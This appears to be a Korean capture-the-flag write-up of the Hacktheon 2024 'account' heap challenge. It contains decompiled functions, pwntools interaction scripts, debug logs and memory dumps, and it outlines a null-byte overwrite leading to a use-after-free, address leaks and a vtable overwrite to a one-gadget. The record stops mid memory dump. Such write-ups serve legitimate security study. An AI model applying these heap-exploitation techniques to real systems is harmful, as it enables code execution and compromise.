
요약
여러 디버깅하면서 시행착오를 겪은 글.
핵테온 초급 문제의 가장 난이도가 높은 문제가 어느정도인지 느낄 수 있었음. 스킬 획복하는데 상당한 노력 필요…! IDA Pro로 구조체 어케 생성하는지 연습하는데 좋은 기회.
해당 문제는 utf-8/utf-16 타입의 임의의 데이터와 함께 account 생성시킬 수 있음.
첫번째 버그는 그룹 생성후, utf-8 + account를 utf 16 타입으로 바꿔서 최대 크기의 문자열과 함께 수정해버리면 할당 바로 끝에 있는 group 구조체의 account_count를 0으로 덮어쓸 수 있음.
그러면, group에 account가 있더라도 delete_group 수행 가능.
버그로 아래 과정을 5번 수행했을때 make_group() → add_account_to_group(group_index, b"\x01") → modify_account_data(False, b"\x02", b"D"*8) “-> delete_group(b"\x00")
count를 계속 증가시켜 0xff 에서 더 증가시키면, 1번쨰 인덱스의 account의 count 필드를 다시 0부터 만들어줄 수 있다,
make_group() → add_account_to_group(group_index, b"\x01") 한 다음, delete_account_from_group(group_index, b"\x01") 를 통해 free.
group_index = make_group() 를 통해 use. 즉 두번째 버그는 use-after-free.
두번쨰 버그를 통해 heap_base 주소 누출, libc_base 주소 획득, vtable을 조작하여 원가젯으로 덮어써서 add_account_to_group 트리거시 원가젯 호출.
checksec
ubuntu@2d0f4d9a440c:~/hto2024/account$ checksec ./account
[*] '/home/ubuntu/hto2024/account/account'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Analysis
main
268바이트의 s 변수를 258만큼 0으로 초기화.
s 변수에 256만큼 입력받고, v3에 입력바이트 수가 들어감.
s 변수, 바이트수와 함께 sub_2900 호출.
unsigned __int64 sub_11D0()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
return __readfsqword(0x28u);
}
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // [rsp+Ch] [rbp-114h]
_BYTE s[268]; // [rsp+10h] [rbp-110h] BYREF
int v5; // [rsp+11Ch] [rbp-4h]
v5 = 0;
sub_11D0();
while ( 1 )
{
memset(s, 0, 258u);
v3 = read(0, s, 256u);
sub_2900(s, v3);
}
}
sub_2900
전송되는 첫바이트 메뉴에는 다음과 같음. 모든 메뉴는 함수 리턴값 “%c”로 출력.
\x00→sub_1490- 매개변수 2개:
a1[1],a1 + 2
- 매개변수 2개:
\x01→sub_1710- 매개변수 1개:
a1[1]
- 매개변수 1개:
\x02→sub_1AE0- 매개변수 3개:
a1[2], a1[1], a1 + 3
- 매개변수 3개:
\x10→sub_1D30- 매개변수 0개
\x11→v12 = a1 + 1;v11 = qword_60D0[*v12];v10 = (*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)(v11 + 16) + 8LL))(*v12);\x12→v9 = qword_60D0[(unsigned __int8)a1[1]];v8 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*(_QWORD *)(v9 + 16) + 16LL))( (unsigned __int8)a1[1], (unsigned __int8)a1[2]);\x13→v7 = qword_60D0[(unsigned __int8)a1[1]];v6 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*(_QWORD *)(v7 + 16) + 24LL))( (unsigned __int8)a1[1], (unsigned __int8)a1[2]);\x14→v4 = qword_60D0[*v5]; v3 = (*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)(v4 + 16) + 32LL))(*v5);
__int64 __fastcall sub_2900(_BYTE *a1, unsigned int a2)
{
unsigned __int8 v3; // [rsp+1Fh] [rbp-B1h]
__int64 v4; // [rsp+20h] [rbp-B0h]
unsigned __int8 *v5; // [rsp+28h] [rbp-A8h]
unsigned __int8 v6; // [rsp+37h] [rbp-99h]
__int64 v7; // [rsp+38h] [rbp-98h]
unsigned __int8 v8; // [rsp+4Fh] [rbp-81h]
__int64 v9; // [rsp+50h] [rbp-80h]
unsigned __int8 v10; // [rsp+67h] [rbp-69h]
__int64 v11; // [rsp+68h] [rbp-68h]
unsigned __int8 *v12; // [rsp+70h] [rbp-60h]
unsigned __int8 v13; // [rsp+7Eh] [rbp-52h]
unsigned __int8 v14; // [rsp+7Fh] [rbp-51h]
unsigned __int8 v15; // [rsp+8Fh] [rbp-41h]
unsigned __int8 v16; // [rsp+9Fh] [rbp-31h]
unsigned int v17; // [rsp+C4h] [rbp-Ch]
if ( a2 )
{
switch ( *a1 )
{
case 0:
if ( a2 < 3 )
goto LABEL_2;
v16 = sub_1490(a1[1], a1 + 2);
printf("%c", v16);
v17 = v16;
break;
case 1:
if ( a2 != 2 )
goto LABEL_29;
v15 = sub_1710(a1[1]);
printf("%c", v15);
v17 = v15;
break;
case 2:
if ( a2 < 4 )
goto LABEL_29;
v14 = sub_1AE0(a1[2], a1[1], a1 + 3);
printf("%c", v14);
v17 = v14;
break;
case 0x10:
v13 = sub_1D30();
printf("%c", v13);
v17 = v13;
break;
case 0x11:
if ( a2 != 2 )
goto LABEL_29;
v12 = a1 + 1;
if ( (unsigned __int8)a1[1] >= 16u )
goto LABEL_32;
v11 = qword_60D0[*v12];
if ( !v11 )
goto LABEL_32;
v10 = (*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)(v11 + 16) + 8LL))(*v12);
printf("%c", v10);
v17 = v10;
break;
case 0x12:
if ( a2 != 3 )
goto LABEL_29;
if ( (unsigned __int8)a1[1] >= 0x10u )
goto LABEL_32;
v9 = qword_60D0[(unsigned __int8)a1[1]];
if ( !v9 )
goto LABEL_32;
v8 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*(_QWORD *)(v9 + 16) + 16LL))(
(unsigned __int8)a1[1],
(unsigned __int8)a1[2]);
printf("%c", v8);
v17 = v8;
break;
case 0x13:
if ( a2 != 3 )
goto LABEL_29;
if ( (unsigned __int8)a1[1] >= 0x10u )
goto LABEL_32;
v7 = qword_60D0[(unsigned __int8)a1[1]];
if ( !v7 )
goto LABEL_32;
v6 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*(_QWORD *)(v7 + 16) + 24LL))(
(unsigned __int8)a1[1],
(unsigned __int8)a1[2]);
printf("%c", v6);
v17 = v6;
break;
case 0x14:
if ( a2 == 2 )
{
v5 = a1 + 1;
if ( (unsigned __int8)a1[1] < 0x10u && (v4 = qword_60D0[*v5]) != 0 )
{
v3 = (*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)(v4 + 16) + 32LL))(*v5);
printf("%c", v3);
v17 = v3;
}
else
{
LABEL_32:
fprintf(stderr, "invalid group id\n");
v17 = -1;
}
}
else
{
LABEL_29:
fprintf(stderr, "invalid packet length\n");
v17 = -1;
}
break;
default:
fprintf(stderr, "invalid call_number\n");
v17 = -1;
break;
}
}
else
{
LABEL_2:
fprintf(stderr, "invalid length\n");
return (unsigned int)-1;
}
return v17;
}
sub_1490 (make_account)
- 매개변수
account_type은 2번째 바이트,data는 3번째 바이트부터 들어감 account_type이 1이여야함, 아니면"invalid account type”에러- 최대 계정을 16개까지만 생성 가능.
__int64 __fastcall make_account(char account_type, char *data)
{
signed __int64 v2; // rax
void *v3; // rsp
void *v4; // rsp
signed __int64 v6; // [rsp+18h] [rbp-28h]
int v7; // [rsp+20h] [rbp-20h]
int v8; // [rsp+20h] [rbp-20h]
int i; // [rsp+24h] [rbp-1Ch]
for ( i = 0; ; ++i )
{
if ( i >= 16 )
{
fprintf(stderr, "no more account\n");
return (unsigned __int8)-1;
}
if ( !account_id_array[i] )
break;
}
if ( !account_type )
{
v8 = utf16_strlen(data);
if ( !v8 )
goto LABEL_7;
v2 = (unsigned int)(2 * (v8 + 1));
goto LABEL_12;
}
if ( account_type != 1 )
goto LABEL_11;
v7 = strlen(data);
if ( !v7 )
{
LABEL_7:
fprintf(stderr, "invalid length\n");
return (unsigned __int8)-1;
}
v2 = (unsigned int)(v7 + 1);
LABEL_12:
v3 = alloca(v2);
v6 = v2;
v4 = alloca(v2);
if ( v2 )
{
*(_BYTE *)v2 = account_type;
*(_BYTE *)(v2 + 1) = 0;
*(_QWORD *)(v2 + 8) = v2;
if ( !account_type )
{
utf16_strcpy((_BYTE *)v2, data);
goto LABEL_19;
}
if ( account_type == 1 )
{
strcpy((char *)v2, data);
LABEL_19:
account_id_array[i] = v6;
sub_12C0(i);
return (unsigned __int8)i;
}
LABEL_11:
fprintf(stderr, "invalid account type\n");
return (unsigned __int8)-1;
}
fprintf(stderr, "failed to allocate memory\n");
return (unsigned __int8)-1;
}
예제 코드: A 16바이트 데이터와 함께 account 추가 생성
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./account")
e = ELF('./account')
def make_account(data):
_menu = b"\x00"
_type = b"\x01"
_data = data
payload = _menu + _type + _data
p.sendline(payload)
return p.recv(1)
r = make_account(b"A"*16)
info(f"make_account r: {r}")
p.interactive()
예제 코드 결과:


sub_1710 (delete_account)
- 2번째 바이트인
a1이 곧account_id_array의 인덱스가 됨. - 삭제하려는 account가 사용중인 경우(still in use), 삭제 불가.
__int64 __fastcall delete_account(unsigned __int8 a1)
{
__int64 v2; // [rsp+8h] [rbp-18h]
if ( a1 < 0x10u && (v2 = account_id_array[a1]) != 0 )
{
if ( *(_BYTE *)(v2 + 1) == 1 )
{
if ( (unsigned __int8)sub_1390(a1) )
{
fprintf(stderr, "unexpected flow\n");
return (unsigned int)-1;
}
else
{
account_id_array[a1] = 0;
return 0;
}
}
else
{
fprintf(stderr, "account is still in use\n");
return (unsigned int)-1;
}
}
else
{
fprintf(stderr, "invalid account id\n");
return (unsigned int)-1;
}
}
__int64 __fastcall sub_1390(unsigned __int8 a1)
{
__int64 v2; // [rsp+8h] [rbp-18h]
if ( a1 < 0x10u && (v2 = account_id_array[a1]) != 0 )
{
if ( !--*(_BYTE *)(v2 + 1) )
{
sub_2840(*(_QWORD *)(v2 + 8));
sub_2840(v2);
}
return *(unsigned __int8 *)(v2 + 1);
}
else
{
fprintf(stderr, "invalid account id\n");
return (unsigned __int8)-1;
}
}
예제 코드:
1. A 16바이트 데이터와 함께 account 추가 생성 (0번째 인덱스 추가)
2. 0번째 인덱스에 추가된 account 삭제
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./account")
e = ELF('./account')
def make_account(data):
_menu = b"\x00"
_type = b"\x01"
_data = data
payload = _menu + _type + _data
p.sendline(payload)
return p.recv(1)
r = make_account(b"A"*16)
info(f"make_account r: {r}")
p.interactive()
예제 코드 결과: account_id_array[0] = 0

MEMORY:00007FFFF7FFA000 dq 1 (0x101에서 1로 변동)

sub_1AE0 (modify_account_data)
- 매개변수 3개:
a1[2], a1[1], a1 + 3 make_account했을때 0x7FFFF7FFA000 주소에\x01\x01\x00\x00\x00\x00\x00\x00값이 있어 첫바이트는\x01,즉if ( *(_BYTE *)v5 != 1 )성립 Xv4 = strlen(*(const char **)(v5 + 8)) + 1;수행하므로,is_utf8_type도 형식에 맞게 true 여야함.- 이전에
make_account했을때의 길이보다 최대 +1까지 늘일 수 있음, 마지막 바이트는\x00으로 덮어써짐
ex:make_account했을때 A 16개,modify_account_data했을때 B 17개 +\x00으로 수정 가능.
__int64 __fastcall modify_account_data(char is_utf8_type, unsigned __int8 account_index, char *data)
{
unsigned int v4; // [rsp+Ch] [rbp-24h]
__int64 v5; // [rsp+10h] [rbp-20h]
if ( account_index < 0x10u )
{
v5 = account_id_array[account_index];
if ( v5 )
{
if ( *(_BYTE *)v5 )
{
if ( *(_BYTE *)v5 != 1 )
{
LABEL_8:
fprintf(stderr, "unexpected\n");
return (unsigned int)-1;
}
v4 = strlen(*(const char **)(v5 + 8)) + 1;
}
else
{
v4 = 2 * (utf16_strlen(*(_BYTE **)(v5 + 8)) + 1);
}
if ( !is_utf8_type )
{
if ( 2 * utf16_strlen(data) >= (unsigned __int64)v4 )
goto LABEL_12;
utf16_strcpy(*(_BYTE **)(v5 + 8), data);
*(_BYTE *)v5 = 0;
goto LABEL_17;
}
if ( is_utf8_type == 1 )
{
if ( strlen(data) >= v4 )
{
LABEL_12:
fprintf(stderr, "invalid length\n");
return (unsigned int)-1;
}
strcpy(*(char **)(v5 + 8), data);
*(_BYTE *)v5 = 1;
LABEL_17:
sub_1860(v5);
return 0;
}
goto LABEL_8;
}
}
fprintf(stderr, "invalid account id\n");
return (unsigned int)-1;
}
예제 코드:
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./account")
e = ELF('./account')
def make_account(data):
_menu = b"\x00"
_type = b"\x01"
_data = data
payload = _menu + _type + _data
p.sendline(payload)
return p.recv(1)
def modify_account_Data(is_utf8_type, account_index, data):
_menu = b"\x02"
if(is_utf8_type):
_is_utf8_type = b"\x01"
else:
_is_utf8_type = b"\x00"
payload = _menu + account_index + _is_utf8_type + data
p.send(payload)
return p.recv()
_index = make_account(b"A"*16)
info(f"make_account _index: {_index}")
r = modify_account_Data(True, b"\x00", b"B"*16)
info(f"modify_account_Data ret: {r}")
p.interactive()
예제 코드 결과:

sub_1D30 (make_group)
- 최대 그룹을 16개까지만 생성 가능.
__int64 sub_1D30()
{
void *v0; // rsp
void *v1; // rsp
int i; // [rsp+10h] [rbp-10h]
for ( i = 0; ; ++i )
{
if ( i >= 16 )
{
fprintf(stderr, "no more group\n");
return (unsigned __int8)-1;
}
if ( !qword_60D0[i] )
break;
}
v0 = alloca((signed __int64)qword_60D0);
if ( qword_60D0
&& (LODWORD(qword_60D0[0]) = 0, v1 = alloca((signed __int64)qword_60D0), (qword_60D0[1] = qword_60D0) != 0) )
{
memset((void *)qword_60D0[1], 0, 0x80u);
qword_60D0[2] = &off_6010;
qword_60D0[i] = qword_60D0;
return (unsigned __int8)i;
}
else
{
fprintf(stderr, "failed to allocate memory\n");
return (unsigned __int8)-1;
}
}
예제 코드:
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./account")
e = ELF('./account')
def make_group():
_menu = b"\x10"
p.send(_menu)
return p.recv(1)
_index = make_group()
info(f"make_group _index: {_index}")
p.interactive()
예제 코드 결과:



delete_group (sub_1EA0)
v10 = ((__int64 (__fastcall **)(_QWORD))((_QWORD *)(v11 + 16) + 8LL))(*v12);
__int64 __fastcall delete_group(unsigned __int8 group_index)
{
group *v2; // [rsp+8h] [rbp-18h]
if ( group_index < 0x10u && (v2 = (group *)group_array[group_index]) != 0 )
{
if ( *(_DWORD *)v2->gap0 )
{
fprintf(stderr, "group is not empty\n");
return (unsigned int)-1;
}
else
{
sub_2840((__int64)v2->group_data);
sub_2840((__int64)v2);
group_array[group_index] = 0;
return 0;
}
}
else
{
fprintf(stderr, "invalid group id\n");
return (unsigned int)-1;
}
}
__int64 __fastcall sub_2840(__int64 a1)
{
__int64 i; // [rsp+10h] [rbp-20h]
for ( i = *(_QWORD *)(qword_6150 + 16); i; i = *(_QWORD *)(i + 16) )
{
if ( *(_QWORD *)(i + 8) == a1 )
{
*(_BYTE *)i = 2;
return 0;
}
}
fprintf(stderr, "invalid ptr\n");
return (unsigned int)-1;
}
예제 코드:
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./account")
e = ELF('./account')
def make_group():
_menu = b"\x10"
p.send(_menu)
return p.recv(1)
def delete_group(group_index):
_menu = b"\x11"
p.send(_menu + group_index)
return p.recv(1)
_index = make_group()
info(f"make_group _index: {_index}")
_index = delete_group(_index)
info(f"delete_group _index: {_index}")
예제 코드 결과:


add_account_to_group (sub_1FC0)
__int64 __fastcall add_account_to_group(unsigned __int8 group_index, unsigned __int8 account_index)
{
int j; // [rsp+8h] [rbp-28h]
int i; // [rsp+Ch] [rbp-24h]
__int64 v5; // [rsp+10h] [rbp-20h]
group *v6; // [rsp+18h] [rbp-18h]
if ( group_index >= 0x10u )
goto LABEL_2;
if ( account_index >= 0x10u )
goto LABEL_4;
v6 = (group *)group_array[group_index];
if ( !v6 )
{
LABEL_2:
fprintf(stderr, "invalid group id\n");
return (unsigned __int8)-1;
}
if ( *(_DWORD *)v6->gap0 >= 0x10u )
{
fprintf(stderr, "group is full\n");
return (unsigned __int8)-1;
}
v5 = account_id_array[account_index];
if ( !v5 )
{
LABEL_4:
fprintf(stderr, "invalid account id\n");
return (unsigned __int8)-1;
}
for ( i = 0; i < 16; ++i )
{
if ( *((_QWORD *)v6->group_data + i) == v5 )
{
fprintf(stderr, "account is already in the group\n");
return (unsigned __int8)-1;
}
}
for ( j = 0; j < 16; ++j )
{
if ( !*((_QWORD *)v6->group_data + j) )
{
*((_QWORD *)v6->group_data + j) = v5;
++*(_DWORD *)v6->gap0;
sub_12C0(account_index);
return 0;
}
}
return 0;
}
__int64 __fastcall sub_12C0(unsigned __int8 account_index)
{
__int64 v2; // [rsp+8h] [rbp-18h]
if ( account_index < 0x10u && (v2 = account_id_array[account_index]) != 0 )
{
return (unsigned __int8)++*(_BYTE *)(v2 + 1);
}
else
{
fprintf(stderr, "invalid account id\n");
return (unsigned __int8)-1;
}
}
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./account")
e = ELF('./account')
def make_account(data):
_menu = b"\x00"
_type = b"\x01"
_data = data
payload = _menu + _type + _data
p.sendline(payload)
return p.recv(1)
def make_group():
_menu = b"\x10"
p.send(_menu)
return p.recv(1)
def add_account_to_group(group_index, account_index):
_menu = b"\x12"
p.send(_menu + group_index + account_index)
return p.recv(1)
account_index = make_account(b"A"*16)
info(f"make_account _index: {account_index}")
group_index = make_group()
info(f"make_group _index: {group_index}")
r = add_account_to_group(account_index, group_index)
info(f"add_account_to_group r: {r}")

account_id_array[0], 00007FFFF7FFA000 + 0x1 바이트가 1 → 2로 변경

group_array[0], 00007FFFF7FFA02A + 0x0 바이트가 0 → 1로 변경

delete_account_from_group (sub_21F0)
__int64 __fastcall delete_account_from_group(unsigned __int8 group_index, unsigned __int8 account_index)
{
int i; // [rsp+Ch] [rbp-24h]
__int64 account_id; // [rsp+10h] [rbp-20h]
group *v5; // [rsp+18h] [rbp-18h]
if ( group_index >= 0x10u )
goto LABEL_2;
if ( account_index >= 0x10u )
goto LABEL_4;
v5 = (group *)group_array[group_index];
if ( !v5 )
{
LABEL_2:
fprintf(stderr, "invalid group id\n");
return (unsigned __int8)-1;
}
if ( !v5->account_count )
{
fprintf(stderr, "group is empty\n");
return (unsigned __int8)-1;
}
account_id = account_id_array[account_index];
if ( !account_id )
{
LABEL_4:
fprintf(stderr, "invalid account id\n");
return (unsigned __int8)-1;
}
for ( i = 0; i < 16; ++i )
{
if ( *((_QWORD *)v5->group_data + i) == account_id )
{
*((_QWORD *)v5->group_data + i) = 0;
--v5->account_count;
sub_1390(account_index);
return 0;
}
}
fprintf(stderr, "account is not in the group\n");
return (unsigned __int8)-1;
}
__int64 __fastcall sub_1390(unsigned __int8 a1)
{
__int64 v2; // [rsp+8h] [rbp-18h]
if ( a1 < 0x10u && (v2 = account_id_array[a1]) != 0 )
{
if ( !--*(_BYTE *)(v2 + 1) )
{
sub_2840(*(_QWORD *)(v2 + 8));
sub_2840(v2);
}
return *(unsigned __int8 *)(v2 + 1);
}
else
{
fprintf(stderr, "invalid account id\n");
return (unsigned __int8)-1;
}
}
__int64 __fastcall sub_2840(__int64 a1)
{
__int64 i; // [rsp+10h] [rbp-20h]
for ( i = *(_QWORD *)(qword_6150 + 16); i; i = *(_QWORD *)(i + 16) )
{
if ( *(_QWORD *)(i + 8) == a1 )
{
*(_BYTE *)i = 2;
return 0;
}
}
fprintf(stderr, "invalid ptr\n");
return (unsigned int)-1;
}
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./account")
e = ELF('./account')
def make_account(data):
_menu = b"\x00"
_type = b"\x01"
_data = data
payload = _menu + _type + _data
p.sendline(payload)
return p.recv(1)
def make_group():
_menu = b"\x10"
p.send(_menu)
return p.recv(1)
def add_account_to_group(group_index, account_index):
_menu = b"\x12"
p.send(_menu + group_index + account_index)
return p.recv(1)
def delete_account_from_group(group_index, account_index):
_menu = b"\x13"
p.send(_menu + group_index + account_index)
return p.recv(1)
account_index = make_account(b"A"*16)
info(f"make_account _index: {account_index}")
group_index = make_group()
info(f"make_group _index: {group_index}")
r = add_account_to_group(account_index, group_index)
info(f"add_account_to_group r: {r}")
r = delete_account_from_group(account_index, group_index)
info(f"delete_account_from_group r: {r}")
p.interactive()

00007FFFF7FFA000 + 0x1 바이트가 2 → 1로 변경

00007FFFF7FFA02A + 0x0 바이트가 1 → 0으로 변경

list_group (sub_23E0)
b”\x14”make_account→make_group→add_account_to_group→list_group- account_data 출력.
- 성공시 0, 실패시 -1 리턴.
__int64 __fastcall list_group(unsigned __int8 group_index)
{
int i; // [rsp+4h] [rbp-1Ch]
group *v3; // [rsp+8h] [rbp-18h]
if ( group_index < 0x10u && (v3 = (group *)group_array[group_index]) != 0 )
{
if ( v3->account_count )
{
for ( i = 0; i < 16; ++i )
{
if ( *((_QWORD *)v3->group_data + i) )
sub_1860(*((_QWORD *)v3->group_data + i));
}
return 0;
}
else
{
fprintf(stderr, "group is empty\n");
return (unsigned int)-1;
}
}
else
{
fprintf(stderr, "invalid group id\n");
return (unsigned int)-1;
}
}
__int64 __fastcall sub_1860(__int64 a1)
{
bool v2; // [rsp+Bh] [rbp-25h]
int j; // [rsp+10h] [rbp-20h]
int i; // [rsp+14h] [rbp-1Ch]
if ( a1 )
{
if ( *(_BYTE *)a1 )
{
if ( *(_BYTE *)a1 != 1 )
{
fprintf(stderr, "unexpected\n");
return (unsigned int)-1;
}
for ( i = 0; *(_BYTE *)(*(_QWORD *)(a1 + 8) + i); ++i )
printf("%c", (unsigned int)*(char *)(*(_QWORD *)(a1 + 8) + i));
}
else
{
for ( j = 0; ; j += 2 )
{
v2 = 1;
if ( !*(_BYTE *)(*(_QWORD *)(a1 + 8) + j) )
v2 = *(_BYTE *)(*(_QWORD *)(a1 + 8) + j + 1) != 0;
if ( !v2 )
break;
printf(
"%c%c",
(unsigned int)*(char *)(*(_QWORD *)(a1 + 8) + j),
(unsigned int)*(char *)(*(_QWORD *)(a1 + 8) + j + 1));
}
}
return 0;
}
fprintf(stderr, "invalid account id\n");
return (unsigned int)-1;
}
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./account")
e = ELF('./account')
def make_account(data):
_menu = b"\x00"
_type = b"\x01"
_data = data
payload = _menu + _type + _data
p.sendline(payload)
return p.recv(1)
def delete_account(index):
_menu = b"\x01"
_index = index
payload = _menu + _index
p.send(payload)
return p.recv(1)
def make_group():
_menu = b"\x10"
p.send(_menu)
return p.recv(1)
def add_account_to_group(group_index, account_index):
_menu = b"\x12"
p.send(_menu + group_index + account_index)
return p.recv(1)
def list_group(group_index):
p.send(b"\x14" + group_index)
return p.recv()
account_index = make_account(b"A"*16)
info(f"make_account _index: {account_index}")
group_index = make_group()
info(f"make_group _index: {group_index}")
r = add_account_to_group(account_index, group_index)
info(f"add_account_to_group r: {r}")
r = list_group(group_index)
info(f"list_group r: {r}")
r = delete_account_from_group(account_index, group_index)
info(f"delete_account_from_group r: {r}")
r = list_group(group_index)
info(f"list_group r: {r}")
p.interactive()
[DEBUG] Sent 0x13 bytes:
00000000 00 01 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │··AA│AAAA│AAAA│AAAA│
00000010 41 41 0a │AA·│
00000013
[DEBUG] Received 0x1 bytes:
b'\x00'
[*] make_account _index: b'\x00'
[DEBUG] Sent 0x1 bytes:
b'\x10'
[DEBUG] Received 0x1 bytes:
b'\x00'
[*] make_group _index: b'\x00'
[DEBUG] Sent 0x3 bytes:
00000000 12 00 00 │···│
00000003
[DEBUG] Received 0x1 bytes:
b'\x00'
[*] add_account_to_group r: b'\x00'
[DEBUG] Sent 0x2 bytes:
00000000 14 00 │··│
00000002
[DEBUG] Received 0x12 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 0a 00 │··│
00000012
Solution
1. 먼저 16바이트 데이터와 함계 계정을 3번 생성
Code:
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./account")
e = ELF('./account', checksec=False)
def make_account(data):
_menu = b"\x00"
_type = b"\x01"
_data = data
payload = _menu + _type + _data
p.sendline(payload)
return p.recv(1)
def delete_account(index):
_menu = b"\x01"
_index = index
payload = _menu + _index
p.send(payload)
return p.recv(1)
def modify_account_Data(is_utf8_type, account_index, data):
_menu = b"\x02"
if(is_utf8_type):
_is_utf8_type = b"\x01"
else:
_is_utf8_type = b"\x00"
payload = _menu + account_index + _is_utf8_type + data
p.send(payload)
r = p.recv(len(data))
info(f"modify_account_Data r: {r}")
return p.recv()
def make_group():
_menu = b"\x10"
p.send(_menu)
return p.recv(1)
def delete_group(group_index):
_menu = b"\x11"
p.send(_menu + group_index)
return p.recv(1)
def add_account_to_group(group_index, account_index):
_menu = b"\x12"
p.send(_menu + group_index + account_index)
return p.recv(1)
def delete_account_from_group(group_index, account_index):
_menu = b"\x13"
p.send(_menu + group_index + account_index)
return p.recv(1)
def list_group(group_index):
p.send(b"\x14" + group_index)
return p.recv()
account_index = make_account(b"A"*16)
info(f"make_account _index: {account_index}")
account_index = make_account(b"B"*16)
info(f"make_account _index: {account_index}")
account_index = make_account(b"C"*16)
info(f"make_account _index: {account_index}")
p.interactive()
Result:
ubuntu@2d0f4d9a440c:~/hto2024/account$ python3 solve.py [+] Starting local process './account': pid 815 [*] make_account _index: b'\x00' [*] make_account _index: b'\x01' [*] make_account _index: b'\x02' [*] Switching to interactive mode
account_id_array에 3개의 account_id 존재.
7FFFF7FFA000, 7FFFF7FFA02A, 7FFFF7FFA054

account_id 내용들

MEMORY:00007FFFF7FFA000 dq offset unk_101 MEMORY:00007FFFF7FFA008 dq offset off_7FFFF7FFA018 MEMORY:00007FFFF7FFA010 dq 0 MEMORY:00007FFFF7FFA018 off_7FFFF7FFA018 dq offset unk_4141414141414141 MEMORY:00007FFFF7FFA018 ; DATA XREF: MEMORY:00007FFFF7FFA008↑o MEMORY:00007FFFF7FFA020 dq offset unk_4141414141414141 MEMORY:00007FFFF7FFA028 db 0Ah MEMORY:00007FFFF7FFA029 db 0 MEMORY:00007FFFF7FFA02A dq offset unk_101 MEMORY:00007FFFF7FFA032 dq offset off_7FFFF7FFA042 MEMORY:00007FFFF7FFA03A dq 0 MEMORY:00007FFFF7FFA042 off_7FFFF7FFA042 dq offset unk_4242424242424242 MEMORY:00007FFFF7FFA042 ; DATA XREF: MEMORY:00007FFFF7FFA032↑o MEMORY:00007FFFF7FFA04A dq offset unk_4242424242424242 MEMORY:00007FFFF7FFA052 db 0Ah MEMORY:00007FFFF7FFA053 db 0 MEMORY:00007FFFF7FFA054 dq offset unk_101 MEMORY:00007FFFF7FFA05C dq offset off_7FFFF7FFA06C MEMORY:00007FFFF7FFA064 dq 0 MEMORY:00007FFFF7FFA06C off_7FFFF7FFA06C dq offset unk_4343434343434343 MEMORY:00007FFFF7FFA06C ; DATA XREF: MEMORY:00007FFFF7FFA05C↑o MEMORY:00007FFFF7FFA074 dq offset unk_4343434343434343 MEMORY:00007FFFF7FFA07C db 0Ah MEMORY:00007FFFF7FFA07D db 0
delete_group 의 경우: _group->account_count == 0일때, delete_account의 경우: _account->count == 0 일때, delete_account_from_group의 경우: _account->count == 0일때,
free 됨.
끝에 \x00 1바이트 덮는 버그 활용하여 group의 account_count를 0으로 만들기
계정 3개 만들고, 그룹 1개 만들고, 2번째 계정을 그룹에 넣을 경우:
MEMORY:00007FFFF7FFA000 db 1 MEMORY:00007FFFF7FFA001 db 1 MEMORY:00007FFFF7FFA002 db 0 MEMORY:00007FFFF7FFA003 db 0 MEMORY:00007FFFF7FFA004 db 0 MEMORY:00007FFFF7FFA005 db 0 MEMORY:00007FFFF7FFA006 db 0 MEMORY:00007FFFF7FFA007 db 0 MEMORY:00007FFFF7FFA008 dq offset off_7FFFF7FFA018 MEMORY:00007FFFF7FFA010 dq 0 MEMORY:00007FFFF7FFA018 off_7FFFF7FFA018 dq offset unk_4141414141414141 MEMORY:00007FFFF7FFA018 ; DATA XREF: MEMORY:00007FFFF7FFA008↑o MEMORY:00007FFFF7FFA020 db 0 MEMORY:00007FFFF7FFA021 byte_7FFFF7FFA021 db 1 ; DATA XREF: MEMORY:off_7FFFF7FFA07B↓o MEMORY:00007FFFF7FFA022 db 2 MEMORY:00007FFFF7FFA023 db 0 MEMORY:00007FFFF7FFA024 db 0 MEMORY:00007FFFF7FFA025 db 0 MEMORY:00007FFFF7FFA026 db 0 MEMORY:00007FFFF7FFA027 db 0 MEMORY:00007FFFF7FFA028 db 0 MEMORY:00007FFFF7FFA029 dq offset off_7FFFF7FFA039 MEMORY:00007FFFF7FFA031 db 0 MEMORY:00007FFFF7FFA032 db 0 MEMORY:00007FFFF7FFA033 db 0 MEMORY:00007FFFF7FFA034 db 0 MEMORY:00007FFFF7FFA035 db 0 MEMORY:00007FFFF7FFA036 db 0 MEMORY:00007FFFF7FFA037 db 0 MEMORY:00007FFFF7FFA038 db 0 MEMORY:00007FFFF7FFA039 off_7FFFF7FFA039 dq offset unk_4242424242424242 MEMORY:00007FFFF7FFA039 ; DATA XREF: MEMORY:00007FFFF7FFA029↑o MEMORY:00007FFFF7FFA041 db 0 MEMORY:00007FFFF7FFA042 db 1 MEMORY:00007FFFF7FFA043 db 1 MEMORY:00007FFFF7FFA044 db 0 MEMORY:00007FFFF7FFA045 db 0 MEMORY:00007FFFF7FFA046 db 0 